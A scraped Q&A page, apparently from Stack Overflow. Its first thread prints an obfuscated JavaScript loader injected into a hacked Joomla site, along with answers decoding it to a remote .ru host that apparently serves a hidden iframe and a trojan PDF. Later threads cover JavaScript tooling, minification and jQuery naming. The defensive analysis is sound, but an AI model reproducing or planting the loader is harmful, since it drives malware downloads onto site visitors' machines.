My Joomla! website has been repeatedly hacked into. Someone, somehow, managed to inject the following rubbish into the key php scripts, but I mean not to talk about configuring Joomla. The site is not visited much (at times I fear I might be the only visitor to that site...) and I don't care much to have the site back up and running. I'll handle that eventually.
My question is, how does this rubbish work? I look at it and I just don't see how does this manage to do any harm? What it does is it tries to download a PDF file called ChangeLog.pdf, which is infected with a trojan and after opening will freeze up your Acrobat and wreak havoc on your machine. How does it do that, I don't know, I don't care. But how does the following piece of script invoke the download?
<script>/*Exception*/ document.write('<script src='+'h#^(t#)((t$&#p#:)&/!$/)#d$y#^#$n#$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^#g))!a#m##$e&$s^##!t##($!o#$p(.&#c&)#(o$m)).!$m$)y#(b#e()s&$t$#y&o$&(u#)$x&&^(i)-#^c!!&n$#.(#g)$e#(^n&!u(i&#&n(e&(!h&o#&^&l^$(l)&y$(##w!o#!((o#d&^.^#)r$#^u!!$:(##&8#)(0$8#&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c#o!&^m#&/&(s&$(o!f&!t#&o!!n)&i$&c!.#^^c)!$o##((m##/$^!g#^o$^&o&#g!l)###!e&.))c!)(o###^!m(&/^^l#^#i##(v&#e&)!$j^!a#$s#m!i)n$.!$c&$o)#$m^/#$v&i^d^()e(!o&&s#(z(#)^.#)c$&o^m)$)^/#$'.replace(/#|\$|#|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->
ESET has detected this code as JS/TrojanDownloader.Agent.NRO trojan
Notice the replace call after the giant messy string: .replace(/#|\$|#|\^|&|\(|\)|\!/ig, '').
It removes most of the special characters, turning it into a normal URL:
evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
(I manually changed http: to evil:)
Note that the regex could have been simplified to .replace(/[#$#^&()!]/ig, '')
If you look at the script, you'll see that it's a very simple script that injects a hidden IFRAME containing the path /index.php?ys from the same domain.
I requested that page in Fiddler, and it had no content.
These answers might help you understand the nature of the malicious JavaScript code but what you should be looking for is a way to close the loophole inherant in the Joomla engine. Pre-packaged frameworks are prone to loopholes, either intentional or unintentional, especially when you take into consideration that they are engineered to work on unix, mac and windows environments.
My work requires I run many domains, applications and frameworks on many types of servers and systems for clients and myself. Over time I've seen more and more bots crawling these systems looking for known loopholes/entrances by-way of back-door entrances created by those frameworks. Good thing when I use any type of framework, which I seldom do, I make sure to rename most if not the entire file structure to rid myself of those pesky loopholes/back-doors. At the very least you can rename directories which will throw off most bots, but my way is to completely eliminate references that give clues as to the nature of the framework, which includes renaming of the entire file structure not just directories. Always keep a map of the new naming conventions relative to the old naming conventions in order to make adding plug-ins to your base framework a snap. Once you get the hang of this you can go as far as programatically renaming the entire framework filestructure for quicker results, this is especially useful when having to deal with clients needing to be able to update their framework with plug-ins and the like.
It just does a regex replace on the script url to give you
NOTE: DO NOT FOLLOW THE BELOW LINK (inserted ** to deter the copy-pasters)
http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
as the src
It uses the replace function to replace the rubbish chars using regex, nothing wrong with the code:
........replace(/#|\$|#|\^|&|\(|\)|\!/ig, '')
Its load script from
h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
And that script load iframe from with visibility hidden
h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys
When you read the whole thing, you find that it is a string followed by a replace command.
My two cents. Have you / can you install a Joomla backup tool such as Joomlapack?
I've set it to run via a CHRON script to keep the goods handy in case the muggers get to mugging.
What version of Joomla are you running?
1.0.X versions aren't being updated any longer, and it's age is really starting to show. You owe it to yourself to do a backup and plan to upgrade to 1.5 and anticipate the wonders of 1.6
Related
I did find a very interesting tool for identify unused css definitions in a web project.
http://www.sitepoint.com/dustmeselectors/
Are there similar tools also for javascript projects?
P.S.
I know there is no program for deterministically finding unused code. But I am looking for a report to identify possible unused code. Then the last decision will always be your own.
Problem is there is no way to be really sure. Suppose the following:
The initial HTML site is practically empty. There is a lot of JS code though, which seems to be unused.
OnLoad, a function is called which launches an AJAX query to the server. The server returns a lot of HTML code, which is the body of the site. This body contains lots of JavaScript functions.
The initial body is replaced with the body received via AJAX. Suddenly, all code is used.
Static analysis utilities are therefore useless. I do not know whether there exists a browser extension that marks all JS usage from a running browser though.
You can try using tombstones to safely locate and remove dead code from your JavaScript.
https://blog.bugsnag.com/javascript-refactoring-with-bugsnag-and-tombstones/
In order to find the unused assets, to remove manually, you can use deadfile library:
https://m-izadmehr.github.io/deadfile/
It can simply find unused files, in any JS project.
Without any config, it supports ES6, JSX, and Vue files:
The one that comes to mind most quickly is Javascript LINT (http://www.javascriptlint.com/) and JSLint (http://www.jslint.com/).
Beware though: the latter hurts your feelings.
So I know it's best to have one javascript file for an entire site to limit http requests. So obviously only some javascript is required for some pages. What is the best way of only running the javascript required for the current page?
EG.
if(page=='home'){
//run javascript require for the home page
}
Maybe this isn't an issue and if targeting elements are not found on the page javascript will just fail gracefully? I would just like to know the best practice for this javascript structure.
Encapsulate your logic in functions. Then just call the function(s) you need in each page, either via "onload" or an embedded function call in the page:
<script type="text/javascript">
yourFunctionForThisPage();
</script>
Edit: Just to clarify: my answer is assuming the (implied) constraint of a single .js file. As others have pointed out, although you save on HTTP requests, this is not necessarily a good idea: the browser still has to parse all the code in the file for each page, whether used or not. To be honest it's pretty unusual to have a global site-wide js resource with everything in it. It's probably a much better idea to logically split out your js into various files, i.e libraries. These libraries could be page-based - i.e specific code for a particular page, or algorithm/task-based that you can include in whatever pages need them.
Is this feasible?
While it is best to have just a single Javascript file per page to lower the number of requests yet it may not be feasible. Especially the way that you'd like to do it.
If you're asking how to join various scripts of various pages into a single script and then running just those parts that are related to a particular page then this is something you shouldn't do. What good is it for you to have one huge file with lots of scripts (also think of maintainability) compared to a few short integrated scripts? If you keep the number of scripts low (ie. below 10) you shouldn't be to worried.
The big downside is also that browser will load the complete script file which means it will take it more time to parse them as well as consume a lot more resources to use it. I'd strongly suggest against this technique of yours even though it may look interesting...
Other possibilities
The thing is that the number of Javascript files per page is low. Depending on the server side technology you're using there are tools that can combine multiple script files into one so every page will just request a single script file which will combine all those scripts that this particular page will use. There is a bit overhead on the server to accomplish this task, but there will be just one script request.
What do you gain?
every page only has scripts that it needs
individual script files are smaller hence easier to maintain
script size per request is small
browser parsing and resource consumption is kept low
Know what you will need on the page and use a script loader like labjs.
Also, remember that your specific case might be different from what others have found, so you might want to do some tests, to verify if, for example, having 5 little files, is better (or worse) than 1 big file.
The only way to be sure is to test different options yourself and come up with a fitting solution.
Recently I noticed that the source code of Google pages became really small. It's literally compressed to less than 20 lines (search result for "stackoverflow").
My assumption is that Google Developers would not do this manually.
How to do this automatically? And if possible something that would work on sharing hosting accounts (both Apache and Win IIS).
Thank you.
EDIT
Just to clarify. I want to figure out how to install some plugin on the server, which will minify code (HTML, CSS, JS) automatically. In other words, I don't want to copy code into some compression algorithms and paste the result...
For PageSpeed (mod_pagespeed) to work, one will need a dedicated hosting or at least VPS to install it. Is there anything one can do for sharing hosting accounts?
There are minifiers and packers for JavaScript already out. Check out Dean Edward's packer.
Be careful when removing whitespace from HTML - namely <pre> elements and elements with white-space: pre. Removing extra whitespace from these element's textnodes can ruin the intended display.
SmartOptimizer (php library) or PHP Speedy (php script) should satisfy your needs.
Take a look at Google Page Speed to get you started.
Compressing javascript: YUICompressor
This one should be easy, and I think I know the right answer, but here goes.
For compatibility reasons, should I leave the filename of jQuery as "jquery-1.3.2.min.js" or just rename it to jquery.js?
My guess is leave it as is to avoid conflicts in case another app uses a different version of jQuery. If they've renamed it to "jquery.js" and I do the same, I see potential version conflicts.
Am I wrong or way off base?
Jeff
It's a very good idea to have version-numbered JS (and CSS) files, because that lets you configure your web server to use a far-future Expires header on such files without running into caching problems. When the file gets updated, it gets a new version number, so the browser always fetches the new version, not the old cached one.
You should do this on your other JS and CSS files, too. You want this to be automated, not something you manage by hand. Your development work happens on unversioned files, and your versioning system creates versioned copies and works out the details of updating the references to the CSS and JS files in the HTML files to point to the versioned copies. This can be a bit of work, but well worth it when it comes to speeding up your site. It took me about a day to set my system up. The improvement wasn't subtle.
I would go with jquery-1.3.2.min.js because it's more specific and you can immediately tell if you're reviewing this site in months to come, as well as avoiding any filename confliction in the future.
You shouldn't have any issues with updating, if you're relying on something like an include/template file for the javascript.
In my opinion, its just a personal preference. If you have version in your file name, It helps you easily identify which one you are using with out actually opening the file. It also provides an indirect way of clients downloading the new version file (as it is never cached). If you don't use the ext, upgrading to newer version is easy in coding perspective, but takes the pain of force downloading the new file by all users.
Recommended way to use jQuery in app is using the google's hosting..
google.load("jquery", "1.3.2");
google.setOnLoadCallback(function() {
// Place init code here instead of $(document).ready()
});
Why and how to use jQuery hosted on google
I prefer to leave the version in the file name because there are times when you are changing versions and this is very helpful. At a glance I can see which version I am using on any given webpage.
When building, or "on the fly" (perhaps with caching) when the users request pages.
And what are the dis/advantages of each.
When the site moves from dev to the live server.
I always have an uncompressed version of the JS on the dev server and a minimized version on the live server.
The advantage of that is when developing i can run into JS trouble and fix it very simply, but i need to run each changed script through a minimizer, but for me its not that much.
When building or deploying to a stage environment is a good time to compress javascript. That way you will have a chance to test it in the stage environment and catch any errors that could occur.
Occasionally, there are errors that do come up when compressing. You may want to include a command-line version of jslint that runs before compressing, to make sure that the js passes. That will minimize, but not eliminate, all compression errors.
I'd imagine that on-the-fly would be an unnesessary unless you were adding dynamic data to the JavaScript (in which case there are better ways around it). IT's just a needless expenditure that will only slow down the page load.
Personally, I'd do so when deploying/building the app, it's a one-time thing really.
I'd say you have the js files as you'd code them in source control, when you kick off an automated build that's when, as part of your build script, it runs all the javascript files through a compressor. This way when you deploy it to a test / staging environment you've got the latest script but also compressed for performance testing and as they would be once they go to production.
I agree that on-the-fly is probably not really necessary (and eats up some cpu cycles) if the JS does not change.
There might be some middleware involved though which can check if the JS has changed and compress it only if requested (and maybe even group various JS files into one resulting one).
A good thing when deploying might also be to add some time stamp or random string as parameter to the JS link (e.g. .../scripts.js?t=cdkjnsccsds7sc8cshcsjhbcs). That way when the JS changes you use a different string and there will be no caching problems because it's a new URL. Same for CSS.